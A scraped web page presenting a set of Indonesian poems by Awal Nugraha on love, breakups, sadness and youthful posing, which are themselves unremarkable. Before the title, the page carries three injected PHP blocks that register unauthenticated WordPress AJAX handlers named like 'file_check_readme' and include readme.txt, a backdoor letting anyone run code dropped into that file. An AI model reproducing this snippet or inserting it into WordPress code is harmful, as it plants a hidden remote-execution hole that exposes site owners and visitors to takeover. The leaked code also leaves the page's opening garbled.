if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Kalah dan Puisi Lainnya

Kalah dan Puisi Lainnya

Awal Nugraha

4 min read

Kalah

“Cinta dua manusia, air mengalir. Batu di tengah sungai, mengapa harus waspada?”

Satu hal yang mengalahkan diriku; kemampuan membujuk. Jika ada satu orang yang akan mengamini ucapan ketika aku berusaha menuturkan mata dan kepalamu, pastilah orang tersebut mengira aku membual. Kali ini aku mengakui kekalahanku, kekalahan yang tidak pernah kau menangkan sekeras apapun berusaha membujukku.

Aku ini air mata yang mengalir pada sedihmu, peluh di tubuh saat kau mencoba memedulikanku, dan lapar di saat kau berusaha mengenyangkan perutmu.

Aku mengajarimu cara lupa dan tidak peduli. Saat yang tepat itu akan datang, ketika aku dan kau tak perlu saling melepas tenaga demi sebuah senyuman, hanya ada ponsel berdering dan makanan siap saji menemanimu, maka lekaslah bersedih, kesenangan adalah penghargaan bagi mereka yang tidak pernah dihargai. Bawa pikiranmu menari-nari dengan tanya melekat di dahimu, “siapakah dan apakah saya ini?”. Pertanyaan itu sayangku, akan membawamu pada hati yang tidak akan berani menguasai dirimu.

Kau mesti biasa saja pada segala, sebab, mereka bukan apa-apa, kita ini bukan apa-apa, sedang aku hanya sisa dari pikiran yang melumat kepala kita berdua.

Cerita ini tidak berakhir sepantasnya, hubungan biasa saja, cinta biasa saja, yang luar biasa hanya bahasa dan tubuh kita yang gemar menguapkan dusta di mana-mana. Mari berdoa, berharap bisa lepas dari cinta.

Batu

Kau jangan berpikir bahwa pikiran hanya membebani satu kepala, perasaan bahwa aku telah berbuat tidak semestinya adalah suatu hal yang mesti tidak apa-apa jika tidak bisa diterima. Manusia dan juga aku — dibuat lupa, bahwa manusia tempatnya salah, latihlah dirimu untuk berpikir dalam keadaan tertekan atau terancam, biasakan berpikir ketika olahraga seperti Murakami merangkum fiksinya, agar keluhan bukan lagi malapetaka yang memalukan ketika kau dilanda lelah. Motivasi dirimu untuk tidak cengeng. Dan jangan lupa, buat air mata tetap menangis di kepala.

Sayang, zaman di mana tren kini dibayar mahal, kebencian bukanlah hal yang mesti dipikirkan dan diucapkan di hadapan manusia lainnya, terkadang suka, membuat aku lupa untuk tidak membenci sesuatu yang aku suka. Dan ketika aku benci akan satu hal, camkan bahwa kebencian soal penerimaan yang niscaya.

Aku kebanyakan gaya di hadapan mereka yang sedang kecewa, kejemawaan yang aku bawa hidup dan mati. Ternyata aku manusia, makhluk paling merasa terbebani, berpikir bagaimana tidak dihinggapi masalah. Toh aku dan kau hidup tidak hanya tentang suka dan tidak suka, mood atau tidak mood, bestie atau teman saja, keluarga atau teman dekat. Bagiku, aku telah meluangkan waktu dan menikmati bersama di tempat kita memutuskan memulai bicara.

Menghindarlah, sebab kita tidak akan pernah ke mana-mana, selain menyemai pikiran busuk di mana-mana.

Urungkan

Satu hal yang membuatku sakit adalah kesakitanmu. Selama ini malu kuakui – segala sesuatunya berjalan mudah denganmu. Alasan satu-satunya aku berupaya mengutarakan kebohongan yang jujur ini, tidak lain adalah kejujuran yang meski menyakitimu, aku pikir akan menyelamatkan dirimu dari keegoisanku.

Kau bilang hubungan lahir dari dua pengakuan atas perasaan, aku bilang, hanya satu orang yang memikirkan tentang penyelesaian yang tidak menyakitkan. Kau menyangkal, keputusan tidak bisa sepihak. Justru keputusan seharusnya dilakukan satu orang. Aku tidak memihak yang mana saja, karena aku hanya ingin penyelesaian tanpa sedikitpun menyeka air mata yang jatuh di pipimu. Sebab keberjarakanku.

Dari mana lagi aku mendapat gagasan bahwa cinta hanya percobaan atas perasaan-perasaan pada apa yang kita lihat. Aku menyukai seseorang, sifatnya sesaat. Aku mencintaimu, sifatnya sesaat. Intinya begini, kita bertahan meski tau pada akhirnya sia-sia. Aku dan kau selalu membawa prinsip bisa bersatu dan kita senaif itu mempertahankan suatu hubungan yang akhirnya terlepas dari genggaman.

Tenang saja, sayang. Aku masih memikirkan cara terbaik untuk kau bisa melupakan kenangan, aku bisa mengajarimu melakukan hal-hal yang pernah tidak kita lakukan. Bukan! Bukan menyulut rokok. Perasaan? aduh, aku lupa kita tidak pernah tidak dalam keadaan dicintai — bahkan sejak kita dalam kandungan, sayang. Dari sini, mungkin alasan kau tidak ingin melepaskan adalah karena keadaan takut akan ketidakhadiran orang lain yang mampu mencintaimu seperti aku yang seberkualitas itu membuktikannya kepadamu.

Pada akhirnya, aku sendiri tidak paham bagaimana memahaminya, sebab perasaan sedemikian rumit untuk dapat dipecahkan dengan pikiran. Aku mengamini perkataanmu, jika aku sayang kenapa melepaskan, jika aku sayang kenapa tidak mempertahankan dan jika aku sayang kenapa aku memutuskan untuk berhubungan?

Sayangnya, cinta atau perasaan — bukan serangkaian jika dan isi pikiran. Aku tidak bisa sendirian menarik kesimpulan.

Dukun

Aku melambaikan tangan di keramaian, semua orang berdatangan dan membawa anggapan bahwa hanya aku satu-satunya orang yang dapat meramalkan kesedihan, satu persatu mereka mulai mengantre dengan tamak, wajah-wajah tak bersemangat, hilang harapan. Ada yang bersenandung membawa serta gelas botol berisi vodka, ada pula yang membawa keserakahan di perut dan kepala. Pada akhirnya, mereka hanya berakhir merogoh uang receh di dalam saku sebab mereka pikir akulah seseorang yang dapat meredam kesedihan mereka, kesedihan yang mirip dengan kesedihan lainnya. Semasa hidupku bekerja sebagai penyembuh, tidak ada yang memeriksa kebahagiaan dan senyuman. Aku lebih banyak mendapati keluhan, dari mereka ada yang sering melontarkan umpatan mulai masuk hingga pengobatan selesai.

Mulut mereka komat-kamit di depanku selama proses penyembuhan, membicarakan tentang bagaimana mereka bangun dan tidur dalam keadaan bahagia yang tak sepadan, kerja lembur diupah murah, harga susu tak kunjung murah di pasaran, ada yang menanam saham dan berharap hanya pada keberuntungan. Semuanya bersedih, aku pura-pura bersedih agar paham kesedihan dan berlagak seperti ahli dalam meredam segala kegundahan.

Aku tidak berharap akan datang seseorang yang memberitahu mereka tentang seperti apa aku menyembuhkan kesedihan agar berakhir dengan tepuk tangan atau bayaran. Tanpa sepengetahuan mereka, kematian begitu dekat, sayangnya, kita bernasib malang karena beranggapan; mengetahui bentuk kesedihan.

Aku Harap Salah dari Mereka

Kadang-kadang aku berpikir untuk tidak pulang, dan aku pulang, lalu berpikir untuk kembali sebagai satu-satunya jalan bagi pecundang seperti diriku. Kita terus-menerus mewaspadai, mengawasi mereka yang pernah dan akan menjadi bagian dari permainan kita. Termasuk kebiasaan-kebiasaan polos yang menimbulkan rasa suka dan dahaga yang sifatnya sementara.

Sekarang, aku berjalan sambil menoleh ke belakang, aku melihat diriku sebagai seorang pemuda, didorong oleh kehidupan ke dalam dunia yang bisa saja telah disempurnakan di mana aku dipaksa untuk sepenuhnya bertindak dewasa. Tidak ada satu kesempatan untuk aku melecutkan segala yang ada di dada dan kepala.

Aku mencurahkan lelah begitu gerak badan mulai naik dan membuyarkan mata, seperti gemar berolahraga. Oleh karena mereka berpikir aku tanpa sadar mengadopsi bentuk, pola, model – semua yang sesuai dengan tren, yang cocok, yang menyenangkan – dan memerankannya seolah aku sedang butuh pertolongan. Pedahal sengaja.

Begitu banyak hal yang aku pahami dan dengar telah memberiku sebuah topeng siap pakai. Hingga aku sendiri lari bolak-balik di antara beberapa peran hingga tersandung dan kehilangan keseimbangan. Tak sedikitpun terbesit akan masa muda seperti ini yang begitu mengerikan. Ialah suatu tahap yang dijejaki oleh anak sepertiku dengan mengenakan sneakers dan beraneka macam baju yang dibuat-buat menyerupai aktor idola kita di sosial media.

Aku sendiri menulis sejarah, sejarah atas ketamakan diri dan kepuasan pencapaian yang nirmakna. Dan sejarah adalah sesuatu yang juga mengerikan sebab seringkali berakhir menjadi taman bermain bagi mereka yang belum dewasa.

Aku harap ketiganya tidak jauh berbeda; kepalsuan dan sejarah sama pengecutnya dengan aku diam mendengarkan mereka.

*****

Editor: Moch Aldy MA

Awal Nugraha

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email